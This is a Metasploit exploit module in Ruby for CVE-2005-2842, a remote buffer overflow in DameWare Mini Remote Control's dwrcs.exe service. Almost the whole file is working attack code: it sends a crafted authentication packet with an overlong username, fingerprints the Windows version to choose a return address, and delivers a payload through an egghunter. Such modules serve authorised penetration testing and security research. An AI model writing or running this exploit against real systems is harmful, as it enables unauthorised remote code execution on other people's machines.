require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Egghunter

    def initialize(info = {})
        super(update_info(info,
            'Name'           => '[UNSTABLE] Dameware Mini Remote Control (4.0 < 4.9)  Buffer Overflow',
            'Description'    => %q{
                Buffer overflow in dwrcs.exe in DameWare Mini Remote Control 
                versions 4.0 to 4.8 allows remote attackers to execute 
                arbitrary code via the username.

                The 'dwrcs.exe' service fails to perform proper bounds checking 
                resulting in a buffer overflow. With a specially crafted request 
                containing an overly long username, a remote attacker can cause 
                arbitrary code execution resulting in a loss of integrity.
            },
            'Author'         =>
                [
                    'Jackson Pollocks',                        #discovery
                    'Sverre Bakke <sverre.bakke[at]gmail.com>' #metasploit
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2005-2842'],
                    [ 'OSVDB', '19119'],
                    [ 'BID', '14707'],
                    [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-08/1074.html'],
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
               {
                    'Space'    => 248,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'DisableNops' => false,
                    'StackAdjustment' => -3500,
               },
            'Platform'       => 'win',
            'Targets'        =>
               [
                    #
                    # Need to use more reliable rets
                    #
                    ['Automatic Targeting',   { 'auto' => true } ],	#jmp esp
                    ['Windows 2000 Pro English',   { 'Platform' => 'win', 'Ret' => 0x75033240, } ],
                    ['Windows 2000 Pro SP1 English',   { 'Platform' => 'win', 'Ret' => 0x75031d85, } ],
                    ['Windows 2000 Pro SP2 English',   { 'Platform' => 'win', 'Ret' => 0x75031d2f, } ],
                    ['Windows 2000 Pro SP3 English',   { 'Platform' => 'win', 'Ret' => 0x75031c5a, } ],
                    ['Windows 2000 PRO SP4 English',   { 'Platform' => 'win', 'Ret' => 0x782f28f7, } ],
                    ['Windows XP SP2 English',   { 'Platform' => 'win', 'Ret' => 0x77c72eee, } ],
                    ['Windows XP SP3 English',   { 'Platform' => 'win', 'Ret' => 0x77c72eee, } ],
               ],
            'DisclosureDate' => 'Aug 31 2005',
            'DefaultTarget' => 0))

            register_options(
               [
                    Opt::RPORT(6129)
               ], self.class)
    end

    def exploit
        connect

        print_status("Trying target #{target.name}...")
		
        header = "\x30\x11\x00\x00\x00\x00\x00\x00\xd7\xa3\x70\x3d\x0a\xd7\x0d\x40\x00\x00\x00\x00" \
                 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"

        print_status("Fetching header...")
        sock.get
        print_status("Sending header... (#{header.length} bytes)")
        sock.put(header)
        print_status("Fetching info packet...")
        infopacket = sock.get

        mytarget = target
		
        if(target['auto'])

            mytarget = nil

            print_status("Automatically detecting the target...")
		
            os_major = infopacket[8]
            os_minor = infopacket[12]
            os_sp = infopacket[24,100].rstrip

            print_status("Detected OS: #{os_major}.#{os_minor} (#{os_sp})")
			
            if(os_major == 5 and os_minor == 1)
                if(os_sp.eql? "Service Pack 3")
                    mytarget = self.targets[6]
                end
            elsif(os_major == 5 and os_minor == 0)
                if(os_sp.eql? "")
                    mytarget = self.targets[1]
                elsif(os_sp.eql? "Service Pack 1")
                    mytarget = self.targets[2]
                elsif(os_sp.eql? "Service Pack 2")
                    mytarget = self.targets[3]
                elsif(os_sp.eql? "Service Pack 3")
                    mytarget = self.targets[4]
                elsif(os_sp.eql? "Service Pack 4")
                    mytarget = self.targets[5]
                end
            end

            if(not mytarget)
                print_error("Auto-targeting failed, use 'show targets' to manually select one")
                disconnect
                return
            else
                print_status("Automatic targeting selected #{mytarget.name}")
            end
        end

        badchars=""
        eggoptions =
        {
            :checksum => false,
            :eggtag => "W00T"
        }
        hunter, egg  = generate_egghunter(payload.encoded,badchars,eggoptions)

        prefix = "\x10\x27" + "\x00"*194 + egg + "\x00"*4
        pattern = make_nops(60) + [ mytarget.ret ].pack('V') + hunter

        packet = prefix + pattern
        padding = 4096-packet.length	
        packet = packet + "\x00"*padding

        print_status("Sending auth packet... (#{packet.length} bytes)")
        sock.put(packet)

        print_status("Finished.")

        handler
        disconnect
    end
end